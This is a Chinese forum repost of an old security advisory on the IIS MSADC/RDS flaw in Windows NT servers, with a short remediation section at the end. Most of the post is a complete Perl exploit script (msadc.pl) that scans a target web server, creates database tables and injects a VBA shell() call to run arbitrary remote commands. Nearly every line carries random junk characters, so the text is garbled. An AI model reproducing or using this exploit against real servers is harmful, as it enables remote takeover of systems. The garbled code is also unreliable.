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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) U9s y]7  
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涉及程序: W_EN4p~J  
Microsoft NT server aV.<<OS   
: Dlk `?  
描述: HB^azHr  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 i=UJ*c  
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详细: x(~l[hT  
如果你没有时间读详细内容的话,就删除: 5{[0Clb)  
c:\Program Files\Common Files\System\Msadc\msadcs.dll k[m-"I%ZFX  
有关的安全问题就没有了。 IU}`5+:m  
3WHH3co[  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 a{=~#u8  
9|,AhyhO  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 |Ca n  
关于利用ODBC远程漏洞的描述,请参看: &~EOM  
;'urt /  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm V7<} ;Lzm  
1+Oo Qs  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 :KwYuwYS  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp W:G*t4i  
UWp(3FQ  
这里不再论述。 #kA+Yqy \)  
o/#e y  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 2 Qy&V/E ?  
c3+vtP&  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset z\, w$Ef+  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! n&^Rs )%v  
qmGB~N|N  
t<-Iiq+tL  
#将下面这段保存为txt文件,然后: "perl -x 文件名" .W\Fa2}%av  
U.\kAEJ  
#!perl (Y86q\DQ?|  
# pmZr<xs   
# MSADC/RDS 'usage' (aka exploit) script vnE,}(M  
# (Y%}N(Jg  
# by rain.forest.puppy sE% n=Ww  
# ,fbO}  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me a"EXR-+8  
# beta test and find errors! 6k-]2,\#  
% rkUy?=vu  
use Socket; use Getopt::Std; 98l#+4 +  
getopts("e:vd:h:XR", \%args); aE+E'iL  
>i '3\  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; ] GJskBm  
Z(#a-_ g  
if (!defined $args{h} && !defined $args{R}) { y3vOb, 4  
print qq~ Ty>`r n  
Usage: msadc.pl -h <host> { -d <delay> -X -v } O1QHG'00  
-h <host> = host you want to scan (ip or domain) -<.>jX  
-d <seconds> = delay between calls, default 1 second !HFwQGP.Y  
-X = dump Index Server path table, if available 1'h?qv^(  
-v = verbose |e!Sm{#!  
-e = external dictionary file for step 5 Xa36O5$4]9  
NoI=t  
Or a -R will resume a command session l ^{]pD  
&" =inkh  
~; exit;} U7O2.y+  
%gN8-~$ 1  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; F$.M2*9  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} 6;ICX2Wq'  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} &iTsuA/7  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); }a8N!g  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} {oO!v}]  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } |(Sqd;#v  
I;=}@]9  
if (!defined $args{R}){ $ret = &has_msadc; .S[5CO^  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 7#Mi`W  
4o'0lz]  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" @>da%cX  
. "cmd /c "; .iw+ #  
$in=<STDIN>; chomp $in; oo`mVRVf  
$command="cmd /c " . $in ; \;4RD$J  
|3s-BKbN4  
if (defined $args{R}) {&load; exit;} t1xX B^.M{  
'M&`l%dIPf  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; 97Whn*  
&try_btcustmr; W;2y.2*  
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print "\nStep 2: Trying to make our own DSN..."; o;}o"-s  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; (g5T2(_6L  
hD sFsG  
print "\nStep 3: Trying known DSNs..."; &6h,'U  
&known_dsn; !s5 _JO  
hX8;G!/  
print "\nStep 4: Trying known .mdbs..."; 21W>}I"0?  
&known_mdb; s(-$|f+s  
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if (defined $args{e}){ TEv3;Z*N  
print "\nStep 5: Trying dictionary of DSN names..."; e_7a9:2e  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } zK?[6n89f  
T2GJoJ!  
print "Sorry Charley...maybe next time?\n";  T=9+  
exit; CPAizS  
5@+4>[tw  
############################################################################## z" 4$mh  
PU[] Nw  
sub sendraw { # ripped and modded from whisker </Ja@%  
sleep($delay); # it's a DoS on the server! At least on mine... 4; y*y tY*  
my ($pstr)=@_; |}=xA%)  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || rM Un ~  
die("Socket problems\n"); x+47CDDu3  
if(connect(S,pack "SnA4x8",2,80,$target)){ s@V4ny9x  
select(S); $|=1; +uLl3(ml  
print $pstr; my @in=<S>;  K<6)SL4  
select(STDOUT); close(S); ~}+F$&  
return @in; ;5M I8  
} else { die("Can't connect...\n"); }} 9n%vz@X  
?31#:Mg6g+  
############################################################################## u8 Q`la  
G*JasHFs  
sub make_header { # make the HTTP request .7_<0&kW  
my $msadc=<<EOT tP^2NTs%]  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 <>%2HRn<u  
User-Agent: ACTIVEDATA yp9vgUs  
Host: $ip 2Jm#3zFYz3  
Content-Length: $clen I82GZL  
Connection: Keep-Alive ~nDbWv"  
[`2V!rU  
ADCClientVersion:01.06 {S,L %  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 ) G a5c  
9#cPEbb~  
--!ADM!ROX!YOUR!WORLD! 5L!EqB>m;  
Content-Type: application/x-varg Tmjcc(  
Content-Length: $reqlen {_C2c{  
G LU7?2`t  
EOT >{R+j4%  
; $msadc=~s/\n/\r\n/g; )jm!bR`  
return $msadc;} 2D;2QdO  
Klrd|;C  
############################################################################## 1)Z4 (_  
NAgm?d  
sub make_req { # make the RDS request E&G]R!  
my ($switch, $p1, $p2)=@_; `8M{13fv  
my $req=""; my $t1, $t2, $query, $dsn; #|-i*2@oR  
jJbS{1z  
if ($switch==1){ # this is the btcustmr.mdb query DsX+/)d  
$query="Select * from Customers where City=" . make_shell(); djmd @{Djt  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . U'*~Ju  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} xaI)d/  
zPm|$d  
elsif ($switch==2){ # this is general make table query *E.uqu>I  
$query="create table AZZ (B int, C varchar(10))"; nOTe 3?i>  
$dsn="$p1";} erlg\-H   
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elsif ($switch==3){ # this is general exploit table query yi.GD~69  
$query="select * from AZZ where C=" . make_shell(); 'u}OeS"f  
$dsn="$p1";} N||a0&&  
$&Lw 2 c0  
elsif ($switch==4){ # attempt to hork file info from index server zoibinm}Eg  
$query="select path from scope()"; Fzmc#?  
$dsn="Provider=MSIDXS;";} JO-FnoQK  
#n_t5 O[  
elsif ($switch==5){ # bad query F rd>+   
$query="select"; U2G[uDa;  
$dsn="$p1";} YgV"*~  
hm, H3pN  
$t1= make_unicode($query); VW\xuP  
$t2= make_unicode($dsn); WU\Bs2  
$req = "\x02\x00\x03\x00"; pN=>q <]L  
$req.= "\x08\x00" . pack ("S1", length($t1)); p54 e'Zb  
$req.= "\x00\x00" . $t1 ; 4OOI$J$Jh  
$req.= "\x08\x00" . pack ("S1", length($t2)); #sm@|'Q%  
$req.= "\x00\x00" . $t2 ; `|p8zV  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; s{uSU1lQn  
return $req;} R!>l7p/|H)  
+?'a2pUS  
############################################################################## ]?sw<D{  
O[+\` 63F=  
sub make_shell { # this makes the shell() statement f]NaQ!. 7  
return "'|shell(\"$command\")|'";} BD2Gv)?g  
p'4ZcCW?f  
############################################################################## "Wg5eML 0  
@rE+H 5  
sub make_unicode { # quick little function to convert to unicode &SMM<^P.  
my ($in)=@_; my $out; }hA)p:  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } jO.c>C[?  
return $out;} . efbORp  
t=IM"ZgfL  
############################################################################## ' -td/w  
9Xe|*bT  
sub rdo_success { # checks for RDO return success (this is kludge) yRWZ/,9x   
my (@in) = @_; my $base=content_start(@in); F;ELsg  
if($in[$base]=~/multipart\/mixed/){ Y;=GM:*H  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 8Xa{.y"  
return 0;} w""  
({<qs}H"  
############################################################################## Og1Hg B3v  
wV q4DE  
sub make_dsn { # this makes a DSN for us g$U7bCHG  
my @drives=("c","d","e","f"); $r1{N h  
print "\nMaking DSN: "; `svOPB4C'  
foreach $drive (@drives) { .-:@+=(  
print "$drive: "; IAd[_<9D  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . a?X #G/)  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" QV8;c^EZ  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); u >.>hQ  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; `08}y*E  
return 0 if $2 eq "404"; # not found/doesn't exist ;HmQRiCg  
if($2 eq "200") { eY\!}) 5  
foreach $line (@results) { YR.f`-<Z  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} YH3[Jvzf4  
} return 0;} :@,UPc-+  
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############################################################################## i%otvDn1  
y^:6D(SR  
sub verify_exists { txix =  
my ($page)=@_; M5{vYk>,1Q  
my @results=sendraw("GET $page HTTP/1.0\n\n"); xL|4'8  
return $results[0];} 71G00@&w9D  
(RLJ_M|;/b  
############################################################################## GD<pqm`vVY  
89fl\18%  
sub try_btcustmr { @l?2",  
my @drives=("c","d","e","f"); 70E@h=oQ  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ~!ICBF~j  
^"4u1  
foreach $dir (@dirs) { GI/4<J\  
print "$dir -> "; # fun status so you can see progress }J] P`v  
foreach $drive (@drives) { ]*\<k  
print "$drive: "; # ditto 'p4b8:X  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; l 5z8]/  
$reqlenlen=length( "$reqlen" ); &$.x1$%  
$clen= 206 + $reqlenlen + $reqlen; n$jf($*  
etL)T":XV  
my @results=sendraw(make_header() . make_req(1,$drive,$dir));  DZ&AwF  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} fc9gi4y9  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} /[Sy;wn  
@-BgPDi.Z  
############################################################################## 'q*:+|"  
zNQ|G1o  
sub odbc_error { \:-N<[  
my (@in)=@_; my $base; uT{.\qHo  
my $base = content_start(@in); -O>*` O>M  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this ;AE%f.Y  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; l|K`'YS!<{  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ^<nN~@j  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; &Qq4xn+J  
return $in[$base+4].$in[$base+5].$in[$base+6];} OvW/{  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 8Zvh"Z?  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . s`"ALn8m  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} IP+1 :M  
h}$]3/5H  
############################################################################## a3oSSkT  
8v']>5S]#  
sub verbose { c}g:vh  
my ($in)=@_; _\2^s&iJh  
return if !$verbose; N3g?gb"Ex)  
print STDOUT "\n$in\n";} k0R;1lZ0n  
Eb=;D1)y]  
##############################################################################  LYX\#  
9 ulr6  
sub save { wq"AWyu  
my ($p1, $p2, $p3, $p4)=@_; yy-\$<j  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; `)R@\@jt  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; y i/jZX  
close OUT;} Q{Lsr,  
=xX\z\[A  
############################################################################## DeTZl+qm1E  
0yxMIX  
sub load { |_;Vb  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; Wy%F   
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); _A .?:'-  
@p=<IN>; close(IN); #/9(^6f:  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); E0*'AZi&  
$target= inet_aton($ip) || die("inet_aton problems"); __V6TDehJ$  
print "Resuming to $ip ..."; k&P_ c  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; '2%/h4jY  
if($p[1]==1) { -j_J 1P0,  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; S,,3h0$X  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; #YSUPO%F  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); +xlxhF  
if (rdo_success(@results)){print "Success!\n";} 2;`"B|-T  
else { print "failed\n"; verbose(odbc_error(@results));}} @.X}S "yr  
elsif ($p[1]==3){ :[N[D#/z  
if(run_query("$p[3]")){ 8EPV\M1%  
print "Success!\n";} else { print "failed\n"; }} VQvl,'z  
elsif ($p[1]==4){ *<!W k\  
if(run_query($drvst . "$p[3]")){ 5yQv(<~*G  
print "Success!\n"; } else { print "failed\n"; }} D4r5wc%  
exit;} [@= [< _r  
%d9UWQ  
############################################################################## 9Yowz]')  
OI.2CF  
sub create_table { <8 At =U  
my ($in)=@_; Rh%/xG#k  
$reqlen=length( make_req(2,$in,"") ) - 28; ^F~e?^s  
$reqlenlen=length( "$reqlen" ); OR^Wd  
$clen= 206 + $reqlenlen + $reqlen; |Tz4xTK  
my @results=sendraw(make_header() . make_req(2,$in,"")); MOG[cp  
return 1 if rdo_success(@results); m=S[Y^tR  
my $temp= odbc_error(@results); verbose($temp); WJU` g  
return 1 if $temp=~/Table 'AZZ' already exists/; lq_W;L  
return 0;} c+G: bb%p  
h& (@gU`A  
############################################################################## XI\aZ\v  
C<fNIc~.  
sub known_dsn { k&DH QvfB  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go (`18W1f5W  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", KF'H|)!K  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", RQU5T 2,  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); ),\>'{~5&  
@WEem(@  
foreach $dSn (@dsns) { GGF;T&DWad  
print "."; 4 _N)1u !  
next if (!is_access("DSN=$dSn")); #fGb M!3p  
if(create_table("DSN=$dSn")){ z[v5hhI)4  
print "$dSn successful\n"; n/?5[O-D]  
if(run_query("DSN=$dSn")){ W'XMC"  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { dY\"'LtF  
print "Something's borked. Use verbose next time\n";}}} print "\n";} +ZE&]BO{  
B0z.s+.  
############################################################################## ^ MJGY,r6b  
7^iF,N  
sub is_access { -t6d`p;dR  
my ($in)=@_; m4Wn$Z  
$reqlen=length( make_req(5,$in,"") ) - 28; SC2C%.%l`  
$reqlenlen=length( "$reqlen" ); r$v?[x>+K  
$clen= 206 + $reqlenlen + $reqlen; iW"L!t#\|  
my @results=sendraw(make_header() . make_req(5,$in,"")); <YeF?$S}  
my $temp= odbc_error(@results); 6eDIS|/  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); 6>=>Yj  
return 0;} iY|YEi8  
~#a1]w  
############################################################################## 3Gp4%UT&  
RaU.yCYyu  
sub run_query { YRp\#pVnZ  
my ($in)=@_; cZ!s/^o?f  
$reqlen=length( make_req(3,$in,"") ) - 28; Etu>z+P!  
$reqlenlen=length( "$reqlen" ); <Z m ,q}  
$clen= 206 + $reqlenlen + $reqlen; (v  4  
my @results=sendraw(make_header() . make_req(3,$in,"")); "j a0,%3  
return 1 if rdo_success(@results); "]_|c\98  
my $temp= odbc_error(@results); verbose($temp); 2/7=@>|  
return 0;} .@6]_h;  
gs8L/veP  
############################################################################## oyr2lfz*  
#>v7" <  
sub known_mdb { 7lVIN&.=  
my @drives=("c","d","e","f","g"); 0[1 !K&(L  
my @dirs=("winnt","winnt35","winnt351","win","windows"); S-rqrbr|AT  
my $dir, $drive, $mdb; 9>i6oF]Oq  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; 40#KcbMa|  
@Qs-A^.  
# this is sparse, because I don't know of many G wW#Ww;Oc  
my @sysmdbs=( "\\catroot\\icatalog.mdb", }a9C /t3  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", @l(Y6m|v\  
"\\system32\\certmdb.mdb", YjX=@  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% w@: ]]R  
CD&m4^X5D  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", sd[QtK^  
"\\cfusion\\cfapps\\forums\\forums_.mdb", 87^ 4",  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", fiZv+R<x1  
"\\cfusion\\cfapps\\security\\realm_.mdb", "T&uS1+=c  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", WD\{Sdx:r  
"\\cfusion\\database\\cfexamples.mdb", %b{!9-n}  
"\\cfusion\\database\\cfsnippets.mdb", k_a'a)`$6  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", DO\EB6xH>%  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 4 P;O8KA5y  
"\\cfusion\\brighttiger\\database\\cleam.mdb", eurudl  
"\\cfusion\\database\\smpolicy.mdb", Hxl,U>za#  
"\\cfusion\\database\cypress.mdb", DrEtnt   
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", iCK$ o_`?  
"\\website\\cgi-win\\dbsample.mdb", xI<dBg|]+  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", 6g"<i}_|  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" \Zv =?\  
); #these are just KNg5Ptk  
foreach $drive (@drives) { _Y|kX2l S@  
foreach $dir (@dirs){ 2wBU@T1  
foreach $mdb (@sysmdbs) { 0l6iv[qu5w  
print "."; =_dd4`G&<  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ =| !~0O  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; .zAafi0  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ (7b_g6>:  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; s4$m<"~  
} else { print "Something's borked. Use verbose next time\n"; }}}}} nwo!A3w:  
 7q:bBS  
foreach $drive (@drives) { D%idlL2%J  
foreach $mdb (@mdbs) { I7PWO d  
print "."; \Ep/'Tj&  
if(create_table($drv . $drive . $dir . $mdb)){ v,+l xY  
print "\n" . $drive . $dir . $mdb . " successful\n"; SU'1#$69F  
if(run_query($drv . $drive . $dir . $mdb)){ "|'`'W  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; <PN;D#2bh  
} else { print "Something's borked. Use verbose next time\n"; }}}} L||yQH7n  
} ++!E9GU{  
qX'a&~s)n  
############################################################################## I=%sDn  
c2\vG  
sub hork_idx { otSPi7|k  
print "\nAttempting to dump Index Server tables...\n"; E@jl: -*E  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; LXC`Zq\  
$reqlen=length( make_req(4,"","") ) - 28; % B &?D@  
$reqlenlen=length( "$reqlen" ); /mwr1GU  
$clen= 206 + $reqlenlen + $reqlen; ba9<(0`  
my @results=sendraw2(make_header() . make_req(4,"","")); ')<FLCFwT  
if (rdo_success(@results)){ '%!M>rY,  
my $max=@results; my $c; my %d; DsW`V~ T  
for($c=19; $c<$max; $c++){ '(pd k  
$results[$c]=~s/\x00//g; 7 3z Y^ x  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; h==GdS4  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; 6+;2B<II  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; !en F8a  
$d{"$1$2"}="";} ;vclAsJ  
foreach $c (keys %d){ print "$c\n"; } DVoV:pk  
} else {print "Index server doesn't seem to be installed.\n"; }} [9U srpYi  
kw^Dp[8X  
############################################################################## X_({};mz  
D'[P,v;Q  
sub dsn_dict { lMzCDx !m  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); 31sgf5 s  
while(<IN>){ T{H#]BF<E  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; Fl+tbF  
next if (!is_access("DSN=$dSn")); a H|OA\<  
if(create_table("DSN=$dSn")){ gqdB!l4  
print "$dSn successful\n"; ]AC!R{H  
if(run_query("DSN=$dSn")){ mERZ_[a2  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Xf_tj:eO~  
print "Something's borked. Use verbose next time\n";}}} 0"<;You  
print "\n"; close(IN);} ;Q>3N(  
E"1 ;i  
############################################################################## 9MtJo.A  
S7NnC4)=-f  
sub sendraw2 { # ripped and modded from whisker KpbZnW}g  
sleep($delay); # it's a DoS on the server! At least on mine... H=o-ScA  
my ($pstr)=@_; KYRm Ui#  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || E2h;hr;W  
die("Socket problems\n"); 1[/$ZYk:  
if(connect(S,pack "SnA4x8",2,80,$target)){ k`7.p,;}U  
print "Connected. Getting data"; !Ir1qt8 T  
open(OUT,">raw.out"); my @in; K!D_PxV  
select(S); $|=1; print $pstr; k|$"TFXx;  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} Vi?~0.Z%  
close(OUT); select(STDOUT); close(S); return @in; f0mH|tI`  
} else { die("Can't connect...\n"); }} O^R:_vb3I  
]~ #+ b>  
############################################################################## (:y,CsR}4  
 ny  
sub content_start { # this will take in the server headers ,+NE:_  
my (@in)=@_; my $c; jgo<#AJ/E  
for ($c=1;$c<500;$c++) { y800(z  
if($in[$c] =~/^\x0d\x0a/){ Xc9p;B>^Ts  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } -l40)^ E}  
else { return $c+1; }}} \o62OfF!  
return -1;} # it should never get here actually ~^%0V<*-}  
^iV`g?z  
############################################################################## 5&-j{J0iV  
0x]OF8=J  
sub funky { D*XZT{1g  
my (@in)=@_; my $error=odbc_error(@in); p'Y&Z?8  
if($error=~/ADO could not find the specified provider/){ i!.I;@  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; Gdf1+mi  
exit;} e\^g|60f_  
if($error=~/A Handler is required/){ ~`~%(DA=  
print "\nServer has custom handler filters (they most likely are patched)\n"; C"U[ b%  
exit;} 2Z/][?Jj{  
if($error=~/specified Handler has denied Access/){ /jjW/ lr  
print "\nServer has custom handler filters (they most likely are patched)\n"; h+B'_ `(  
exit;}} 1Es*=zg  
k%Ma4_Z  
############################################################################## 2xL!PR-  
*w'q  
sub has_msadc { B8cBQv  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); xs2,t*  
my $base=content_start(@results); KJ0xp h f  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); |5}rX!wS4  
return 0;} :Wyn+  
l50|` 6t  
######################## W9&0k+#^  
6m, KL5>W  
inr%XS/m  
解决方案: "<PoJPh  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll zz(!t eBC  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 ~_DF06G  
~-XOvKJb  
拿出来充数 哈哈
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